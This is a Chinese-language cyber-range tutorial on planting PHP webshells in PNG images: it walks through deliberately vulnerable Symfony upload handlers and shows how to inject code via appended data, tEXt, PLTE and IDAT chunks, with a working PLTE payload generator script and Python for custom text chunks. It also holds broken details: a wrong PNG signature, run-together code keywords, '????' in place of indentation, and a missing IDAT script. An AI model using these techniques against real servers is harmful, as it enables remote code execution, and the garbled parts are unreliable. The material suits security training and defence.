PHP代碼執(zhí)行-PNG注入

本環(huán)境是蛇矛實(shí)驗(yàn)室基于"火天網(wǎng)演攻防演訓(xùn)靶場"進(jìn)行搭建，通過火天網(wǎng)演中的環(huán)境構(gòu)建模塊，可以靈活的對(duì)目標(biāo)網(wǎng)絡(luò)進(jìn)行設(shè)計(jì)和配置，并且可以快速進(jìn)行場景搭建和復(fù)現(xiàn)驗(yàn)證工作。

環(huán)境準(zhǔn)備

圖片馬想要執(zhí)行需要的條件：

1.圖片可以上傳到目標(biāo)服務(wù)器上。

2.圖片可解析為PHP代碼。

要滿足第一個(gè)條件，可能的方式有文件上傳、遠(yuǎn)程文件下載、SSRF等方式。

要滿足第二個(gè)條件可能的方式有上傳比如png格式木馬但是可以改名為php，從而解析為php；或者可以修改.htacces文件來控制這個(gè)php解析類型，使其支持解析png為php代碼執(zhí)行；或者是只能上傳png格式圖片，但是可以文件包含這個(gè)png來執(zhí)行php代碼。

當(dāng)然以上描述的情況這個(gè)跟目標(biāo)環(huán)境有關(guān)系。為了方便測試，我制作了一個(gè)docker鏡像。鏡像中web服務(wù)支持文件上傳，上傳時(shí)會(huì)檢查MIME類型是否為圖片，但是不檢查上傳文件的擴(kuò)展名。這表示可以上傳一個(gè)圖片格式的.php文件到服務(wù)器上。在靶場中利用靶機(jī)拉取docker鏡像。

dockerpullordar/astrolock
dockerrun-d-p80:80ordar/astrolock

PNG結(jié)構(gòu)

PNG的基本構(gòu)成為：

8字節(jié)頭文件+4字節(jié)數(shù)據(jù)長度+4字節(jié)數(shù)據(jù)標(biāo)識(shí)符+數(shù)據(jù)塊數(shù)據(jù)+4字節(jié)CRC校驗(yàn)碼

PNG圖片由很多數(shù)據(jù)塊組成，每個(gè)數(shù)據(jù)塊包含了不同的信息。PNG定義了兩種類型的數(shù)據(jù)塊：

一種是稱為關(guān)鍵數(shù)據(jù)塊(critical chunk)，這是標(biāo)準(zhǔn)的數(shù)據(jù)塊，每個(gè)PNG文件必須包含。

另一種叫做輔助數(shù)據(jù)塊(ancillary chunks)，這是可選的數(shù)據(jù)塊。

關(guān)鍵數(shù)據(jù)塊

關(guān)鍵數(shù)據(jù)塊包括：文件頭數(shù)據(jù)塊、調(diào)色板數(shù)據(jù)塊、圖像數(shù)據(jù)塊和圖像結(jié)束數(shù)據(jù)塊

“89 50 4E 47 00 DA 1A 0A” png文件的標(biāo)識(shí)符

文件頭數(shù)據(jù)塊IHDR

調(diào)色板數(shù)據(jù)塊PLTE

圖像數(shù)據(jù)塊IDAT

圖像結(jié)束數(shù)據(jù)塊IEND

輔助數(shù)據(jù)塊

其余 18 個(gè)塊類型稱為輔助塊類型， 編碼器可以生成哪些，解碼器可以解釋。

透明度信息：tRNS色彩空間信息：cHRM、gAMA、iCCP、sBIT、sRGB、cICP文本信息：iTXt，tEXt，zTXt雜項(xiàng)信息：bKGD、hIST、pHYs、sPLT、eXIf時(shí)間信息：tIME動(dòng)畫信息：acTL，fcTL，fdAT

部分?jǐn)?shù)據(jù)塊如下：

在PNG中注入PHP代碼

first-part 簡單插入

查看/first-part的源代碼，這非常簡單：網(wǎng)絡(luò)表單需要標(biāo)題、描述和有效的PNG文件。然后，應(yīng)用程序?qū)纳蟼鞯膱D像文件中獲取數(shù)據(jù)，從原始文件名構(gòu)建一個(gè)唯一的文件名，并將文件簡單地存儲(chǔ)在文件系統(tǒng)中（suits_thumbnails目錄中，可公開訪問）。

# 創(chuàng)建“suit”對(duì)象并將其鏈接到Symfony表單
$suit = newSuit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用戶定義了標(biāo)題、描述并上傳了JPG/PNG MIME類型的文件，則表單將提交并有效
if($form->isSubmitted() && $form->isValid()) {

# 獲取通過表單上傳的文件，從原始文件名構(gòu)建一個(gè)唯一的文件名
$suitFile = $form->get('suit')->getData();
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
# 將上傳的文件用唯一文件名存儲(chǔ)在Web服務(wù)器上的縮略圖目錄/suits_thumbnails/中
try{
$suitFile->move(
$this->getParameter('thumbnails_directory'),
$newFilename
);
$suit->setSuitFilename($newFilename);
} catch(FileException $e) {
returnnewResponse("File exception");
}
# 將“suit”對(duì)象存儲(chǔ)在數(shù)據(jù)庫中以在應(yīng)用程序中顯示
$entityManager->persist($suit);
$entityManager->flush();
return$this->redirectToRoute('app_first_part');
}

方法一 直接拼接

網(wǎng)上搜索圖片馬制作的方法，很容易就能找到的方法就是這種。以下方法的效果是等效的。

1.文本方式打開圖片，然后末尾粘貼一句話木馬；

2.cmd中 copy 1.png /b + 2.php 3.png；

3.使用echo命令追加代碼到png圖片末尾。

這種方法已經(jīng)爛大街了，這里就不多說了，懂得都懂。在png圖像結(jié)束塊IEND后面緊跟著phpinfo。

方法二 預(yù)定義文本塊注入

PNG 圖像格式允許向文件添加注釋以存儲(chǔ)一些meta data數(shù)據(jù)。通過查閱PNG文檔可以找到已經(jīng)定義的文本塊關(guān)鍵字。

當(dāng)然這些關(guān)鍵字是可以修改的，通過下載工具h(yuǎn)ttps://exiftool.org/來設(shè)置這些預(yù)定義關(guān)鍵字。

當(dāng)然它是可以成功解析的，可以看到文本塊copyright后面緊接著就是phpinfo。

PHP-GD庫的壓縮圖像

大多數(shù)時(shí)候，圖像文件不會(huì)像/first-part所假設(shè)的那樣按原樣存儲(chǔ)在服務(wù)器上。而是使用一些標(biāo)準(zhǔn)的PHP 庫（如 PHP-GD）將圖像調(diào)整大小、壓縮或編碼為特定的文件格式。

/second-part 路徑為攻擊者實(shí)現(xiàn)了一個(gè)稍微更現(xiàn)實(shí)、也更困難的場景。在存儲(chǔ)用戶上傳的文件之前，應(yīng)用程序?qū)⑹褂?PHP-GD 函數(shù) imagepng 壓縮所有上傳到 Web 服務(wù)器的圖像。

# 創(chuàng)建“suit”對(duì)象并將其鏈接到Symfony表單
$suit = newSuit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用戶定義了標(biāo)題、描述并上傳了JPG/PNG MIME類型的文件，則表單將提交并有效
if($form->isSubmitted() && $form->isValid()) {

# 從表單中獲取上傳文件
$suitFile = $form->get('suit')->getData();

# 從原始文件名生成唯一的文件名
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;

try{
# 壓縮上傳的PNG（gzip庫的第9級(jí)）并保存
$source = imagecreatefrompng($suitFile->getPathName());
imagepng($source, $this->getParameter('thumbnails_directory').'/'.$newFilename, 9);
$suit->setSuitFilename($newFilename);
} catch(FileException $e) {
returnnewResponse("Exception in image processing");
}
# 將“suit”對(duì)象存儲(chǔ)在數(shù)據(jù)庫中以在應(yīng)用程序中顯示
$entityManager->persist($suit);
$entityManager->flush();
return$this->redirectToRoute('app_second_part');
}

方法三 PLTE塊注入

壓縮 PNG 文件時(shí)，PHP-GD將刪除輔助塊以減小輸出文件的大小。這就是為什么我們?cè)诘谝徊糠种凶⑷氲腜HP payload無法在壓縮過程中幸存下來。

但是，如果我們可以將我們的payload注入到 PNG 文件的關(guān)鍵塊中呢？當(dāng)然，這些塊在壓縮圖像時(shí)不會(huì)被破壞。執(zhí)行這種注入的完美候選者是 PLTE 塊，這是一個(gè)包含 PNG 圖像的“調(diào)色板”的關(guān)鍵塊，即顏色列表。根據(jù) PNG 規(guī)范：

PLTE 塊包含 1 到 256 個(gè)調(diào)色板條目，每個(gè)條目都是三字節(jié)的形式：

Red: 1byte(0= black, 255= red)
Green: 1byte(0= black, 255= green)
Blue: 1byte(0= black, 255= blue)

使用PLTE塊，我們可能有256*3字節(jié)可用于將我們的payload注入到這樣一個(gè)關(guān)鍵塊中，這應(yīng)該綽綽有余。唯一的限制是有效載荷的長度必須能被3整除。

使用下面的腳本，可以輕松創(chuàng)建PLTE塊注入payload的png圖像。

 
");

$_payload= $argv[1];
$output= $argv[2];

while(strlen($_payload) % 3 != 0) { $_payload.=" "; }

$_pay_len=strlen($_payload);
if($_pay_len> 256*3){
echo"FATAL: The payload is too long. Exiting...";
exit();
}
if($_pay_len%3 != 0){
echo"FATAL: The payload isn't divisible by 3. Exiting...";
exit();
}

$width=$_pay_len/3;
$height=20;
$im= imagecreate($width, $height);

$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);

for($i=0; $i< count($_chunks); $i++){
????$_color_chunks=str_split($_chunks[$i], 2);
????$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
????
????imagesetpixel($im,$i,1,$color);
}
????
imagepng($im,$output);

執(zhí)行腳本：

php gen.php '' png-plte-inject.php

使用PLTE注入可以繞過PHP-GD庫的壓縮，可以成功上傳并且成功解析。

PHP-GD庫調(diào)整圖像大小

Web 應(yīng)用程序在處理圖像時(shí)執(zhí)行的另一個(gè)標(biāo)準(zhǔn)操作是調(diào)整它們的大小以標(biāo)準(zhǔn)化它們的格式。為此，應(yīng)用程序可以例如使用PHP-GD庫imagecopyresized函數(shù)或 imagecopyresampled函數(shù)。

/third-part路由實(shí)現(xiàn)了目標(biāo)應(yīng)用程序在存儲(chǔ)輸入PNG 文件之前對(duì)其進(jìn)行壓縮和調(diào)整大小的場景。

# 創(chuàng)建“suit”對(duì)象并將其鏈接到Symfony表單
$suit = newSuit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用戶定義了標(biāo)題、描述并上傳了JPG/PNG MIME類型的文件，則表單將提交并有效
if($form->isSubmitted() && $form->isValid()) {

# 從表單中獲取上傳文件
$suitFile = $form->get('suit')->getData();

# 從原始文件名生成唯一的文件名
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;

try{
# 壓縮上傳的PNG（gzip庫的第9級(jí)），調(diào)整大小并保存
$filename = $suitFile->getPathName();
list($width, $height) = getimagesize($filename);
$source = imagecreatefrompng($filename);
$thumb = imagecreatetruecolor(55, 55);
imagecopyresampled($thumb, $source, 0, 0, 0, 0, 55, 55, $width, $height);
imagepng($thumb, $this->getParameter('thumbnails_directory').'/'.$newFilename);
$suit->setSuitFilename($newFilename);
} catch(FileException $e) {
returnnewResponse("Exception in image processing");
}

# 將“suit”對(duì)象存儲(chǔ)在數(shù)據(jù)庫中以在應(yīng)用程序中顯示
$entityManager->persist($suit);
$entityManager->flush();
return$this->redirectToRoute('app_third_part');
}

方法四 IDAT塊注入

調(diào)整圖像大小時(shí)，即使是 PLTE關(guān)鍵塊的內(nèi)容也會(huì)被破壞,我們的payload也會(huì)隨之破壞。這些函數(shù)實(shí)際上只使用原始文件中的像素?cái)?shù)據(jù)來創(chuàng)建一個(gè)全新的圖像。關(guān)鍵數(shù)據(jù)塊或輔助數(shù)據(jù)塊中包含的數(shù)據(jù)都可能會(huì)被忽略。

將PHP載荷注入PNG文件的一種相當(dāng)復(fù)雜但有效的方法是將其編碼為PNG的IDAT塊。

當(dāng)將原始圖像保存為PNG時(shí)，圖像的每一行都按字節(jié)進(jìn)行過濾，并且該行前綴有一個(gè)數(shù)字，該數(shù)字描述了所使用的過濾器類型（0x01到0x05），不同的行可以使用不同的過濾器。這背后的基本原理是提高壓縮比。過濾完所有行后，它們都使用 DEFLATE 算法壓縮以形成 IDAT 塊。

要生成一個(gè)包含有效PHP代碼的IDAT 塊，應(yīng)該找到原始像素的精確組合，這些像素一旦被 PNG線過濾器和DEFLATE算法處理，就會(huì)輸出所需的有效載荷。

字符串不能包含任何重復(fù)的代碼塊，否則它們將被壓縮。

雖然很難，但確實(shí)是可以實(shí)現(xiàn)的。

可以使用以下腳本來生成110x110的PNG圖像，一旦調(diào)整為55x55，IDAT匯總將包含 PHP 代碼：

此腳本生成惡意 PNG 圖像：

phpgenerate_idat_png.php> png-idat-inject.php

這時(shí)候?qū)⑸傻膱D像通過/third-part路由上傳，就可以觸發(fā)webshell。

通過發(fā)送POST請(qǐng)求來觸發(fā)php執(zhí)行。

IMAGICK庫調(diào)整圖像大小

除了PHP-GD之外，最流行的圖像處理庫之一是Imagick，它是ImageMagick的PHP實(shí)現(xiàn)。/fourth-part路由說明了一個(gè)應(yīng)用程序，它使用thumbnailImage功能調(diào)整用戶上傳的文件的大小。此函數(shù)用于產(chǎn)生較小的low-cost縮略圖圖像，適合在Web上顯示。

# 創(chuàng)建“suit”對(duì)象并將其鏈接到Symfony表單
$suit = newSuit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用戶定義了標(biāo)題、描述并上傳了JPG/PNG MIME類型的文件，則表單將提交并有效
if($form->isSubmitted() && $form->isValid()) {

# 從表單中獲取上傳文件
$suitFile = $form->get('suit')->getData();

# 從原始文件名生成唯一的文件名
if($suitFile) {
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;

try{
# 使用Imagick將文件轉(zhuǎn)換為100x100縮略圖
$filename = $suitFile->getPathName();
$imgck = newImagick($filename);
$imgck->thumbnailImage(55, 55, true, true);
$imgck->writeImage($this->getParameter('thumbnails_directory')."/".$newFilename);
$suit->setSuitFilename($newFilename);
} catch(Exception$e) {
returnNewResponse("Exception in image processing");
}
}

#將“suit”對(duì)象存儲(chǔ)在數(shù)據(jù)庫中以在應(yīng)用程序中顯示
$entityManager->persist($suit);
$entityManager->flush();
return$this->redirectToRoute('app_fourth_part');
}

方法五 自定義文本塊注入

當(dāng)Imagick調(diào)整圖像大小時(shí)，它實(shí)際上會(huì)對(duì)文本塊執(zhí)行幾個(gè)操作：

擦除標(biāo)記為“Comment”的tEXt塊。

覆蓋以下tEXt塊的值（或者如果它們不存在則定義它們）：date:create, date:modify, software, Thumb::Pages, Thumb::Height, Thumb::Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI。

保留任何其他tEXt塊的原始值（包括不存在預(yù)定義關(guān)鍵字的tEXt塊）。

在方法二的PNG注釋中，我們已經(jīng)知道了預(yù)定義的tEXt塊的預(yù)定義關(guān)鍵字有如下這些：

因?yàn)槲覀冃薷牡氖莄opyright塊，所以是可以繞過thumbnailImage方法的處理的。

使用方法二的圖像，可以成功執(zhí)行。如下圖，可以看到它并不是緊跟在tEXt塊后面執(zhí)行。

除了以上預(yù)定義關(guān)鍵字，我們還可以自定義關(guān)鍵字。通過以下簡單的python代碼可以實(shí)現(xiàn)。

# -*- coding: utf-8 -*-
# @Author : ordar
# @Python: 3.7.5
fromPIL importImage
fromPngImagePlugin importPngInfo
im = Image.open("png/png.png")
p = PngInfo()
# PngInfo類有兩個(gè)方法add_itxt和add_text，這兩個(gè)方法實(shí)現(xiàn)的效果是一樣的。
# iTXt是國際文本數(shù)據(jù)；iEXt是文本信息數(shù)據(jù)塊
# p.add_itxt(b"Aaaaa", b"")
p.add_text(b"Aaaaa", b"")
im.save("png/png-text-custom.png",pnginfo=p)

用exiftool工具查看圖片信息，可以發(fā)現(xiàn)Aaaaa文本信息成功添加進(jìn)去了。

當(dāng)然也可以解析執(zhí)行。

總結(jié)

當(dāng)服務(wù)器可以將圖像文件解釋為PHP時(shí)，例如弱擴(kuò)展檢查、解析漏洞、本地文件包含漏洞、錯(cuò)誤配置PHP解析擴(kuò)展等方式，可以使用這些技術(shù)來造成代碼執(zhí)行。

蛇矛實(shí)驗(yàn)室成立于2020年，致力于安全研究、攻防解決方案、靶場對(duì)標(biāo)場景仿真復(fù)現(xiàn)及技戰(zhàn)法設(shè)計(jì)與輸出等相關(guān)方向。團(tuán)隊(duì)核心成員均由從事安全行業(yè)10余年經(jīng)驗(yàn)的安全專家組成，團(tuán)隊(duì)目前成員涉及紅藍(lán)對(duì)抗、滲透測試、逆向破解、病毒分析、工控安全以及免殺等相關(guān)領(lǐng)域。

審核編輯：湯梓紅